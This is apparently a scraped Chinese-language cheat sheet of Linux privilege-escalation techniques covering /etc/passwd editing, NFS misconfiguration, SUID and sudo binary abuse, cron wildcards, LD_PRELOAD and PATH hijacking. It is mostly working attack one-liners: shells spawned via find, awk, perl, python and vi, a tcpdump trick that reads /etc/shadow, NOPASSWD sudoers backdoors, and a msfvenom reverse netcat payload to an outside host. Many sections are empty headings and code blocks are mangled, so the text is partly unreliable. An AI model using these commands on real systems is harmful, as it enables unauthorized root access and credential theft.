編輯-etc-passwd文件進行權限升級
- 使用cat打開/etc/passwd查看可用用戶
cat /etc/passwd
++可以看到可用用戶++
- 添加用戶(查看用戶信息)
==這裡是正文==
前提:用戶具有讀/寫/etc/passwd權限這裡我用root嘗試
- 手動修改etc/passwd文件
- /etc/group文件中對其進行處理
- 設置密碼
由於我們在不使用adduser命令的情況下手動創建了一個新用戶syst1m,因此在/etc/shadow文件中找不到任何有關信息。但是它在/etc/passwd文件中,此處*符號已被加密密碼值替換。通過這種方式,我們可以創建自己的用戶以進行權限提升。
- 無法執行passwd命令設置用戶密碼
1.Opensslopenssl passwd -1 -salt user3 pass1232.mkpasswdmkpasswd -m SHA-512 pass3.Pythonpython -c 'import crypt; print crypt.crypt("pass", "$6$salt")4.Perlperl -le 'print crypt("pass123", "abc")'5.PHPphp -r "print(crypt('aarti','123') . "\n");"修改*號處的密碼即可
配置錯誤的NFS的Linux權限升級
核心文件(/etc/exports,/etc/hosts.allow和/etc/hosts.deny.要配置弱的NFS服務器,只查看/etc/export文件)
- 環境配置(安裝nfs)
- 編輯/etc/export
etc/export文件
- 掃描NFS共享
1.NMAP
nmap -sV --script=nfs-showmount 192.168.1.1
2.showmount
- 利用NFS服務器進行提權技巧
1.Bash文件
2.C程序(來源互聯網)
3.Nano/Vi(來源互聯網)
4.Sudoers文件nano -p /etc/sudoersignite ALL=(ALL:ALL) NOPASSWD: ALL
通過自動腳本快速識別Windows系統上潛在的權限提升選項
- LinuEnum
git clone https://github.com/rebootuser/LinEnum.git
- Linuxprivchecker(枚舉系統配置並運行一些權限提升檢查)
wget http://www.securitysift.com/download/linuxprivchecker.py
- Linux Exploit Suggester 2(返回可能的漏洞利用列表)
- Bashark
- BeRoot
git clone https://github.com/AlessandroZ/BeRoot.git
用於檢查常見的錯誤配置,以找到提升權限的方法檢查文件權限SUID binNFS root壓縮DockerSudo規則內核利用
./beroot.py
Cron計劃任務Linux權限技巧
- 環境
- 利用
- Crontab Tar通配符注射
https://xz.aliyun.com/t/2401
使用SUID二進制文件進行Linux提權
使用 "cp"進行提權
- 第一種方法(複製passwd)
1.尋找具有SUID的文件
- 複製passwd
3.下載修改並讓目標下載替換
- 第二種方法(傳輸後門)
生成反向連接(利用計劃任務bash)msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.108 lport=1234 R
使用Find命令進行提權
- 環境
使用vim進行提權
- 環境
- 利用
==sudoers文件==
Other
<code>nano修改passwd/<code>
<code>運行suid腳本/<code>
<code>老版本的nmap(2.02
-5.21
) nmap lsh whoami msf exploit/unix/local
/setuid_nmap/<code>
<code>bash
nash -p id/<code>
<code>less
less
/etc/passwd
/<code>
<code>more
more
/home/pelle/myfile
/<code>
<code>AWk `awk 'BEGIN
{system
("/bin/bash"
)}`
/<code>
<code>man
man
passwd
/<code>
<code>man tcpdumpecho
$'id\ncat /etc/shadow'
> /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test
-Z root/<code>
使用sudo進行Linux提權
/etc/sudoers文件(sudo權限的配置文件)
- 檢查用戶sudo權限
sudo -l
- 傳統分配root權限方法
visudoraaz ALL=(ALL:ALL) ALL/raaz ALL=(ALL)ALLsudo suid
- 分配root權限默認方法
visudoraaz ALL=ALL/raaz ALL=(root) ALLsudo su / sudo bash
技巧
- 允許二進制命令的root權限
raaz ALL=(root) NOPASSWD: /usr/bin/findsudo find /home -exec /bin/bash \;id
- 允許二進制程序的root權限
raaz ALL= (root) NOPASSWD: /usr/bin/perl, /usr/bin/python, /usr/bin/less, /usr/bin/awk, /usr/bin/man, /usr/bin/vi
perlsudo perl -e 'exec "/bin/bash";'pythonsudo python -c 'import pty;pty.spawn("/bin/bash")less sudo less /etc/hosts編輯器中輸入!bash,按enter生成awksudo awk 'BEGIN {system("/bin/bash")}'mansudo man man編輯器中輸入!bash,按enter生成visudo vi編輯器中輸入!bash,按enter生成
- 允許shell腳本的root權限
sudo /bin/script/asroot.pyid
- 允許其他程序的sudo權限
raaz ALL=(ALL) NOPASSWD: /usr/bin/env, /usr/bin/ftp, /usr/bin/scp, /usr/bin/socat
環境生成shell
sudo env /bin/bashftpsudo ftp! /bin/bashwhoami
通過SCP生成shellscp SourceFile user@host:~/目錄路徑
## 使用LD_Preload提權
- 打開/etc/sudoersvisudotest ALL=(ALL:ALL) NOPASSWD: /usr/bin/findDefaults env_keep += LD_PRELOAD
- 利用
- 新建shell.c
- 使用gcc編譯
- 執行
## 使用通配符提權
* 星號匹配文件名中的任意數量的字符,包括無? 問號匹配任何單個字符[] 括號內包含一組字符,其中任何一個字符都可以匹配該位置的單個字符- []中使用的連字符表示字符範圍〜 字符開頭的~擴展為主目錄的名稱。將另一個用戶的登錄名附加到該字符中,它指的是該用戶的主目錄
在野通配符
文件劫持示例
1.文件所有者通過Chown劫持
- 普通用戶
- root用戶
## 使用PATH變量進行提權
查看相關用戶路徑echo $PATH
PATH變量提權方法一
- demo.c
- 權限提升
查看程序
1.echo生成root權限
複製命令
symlink命令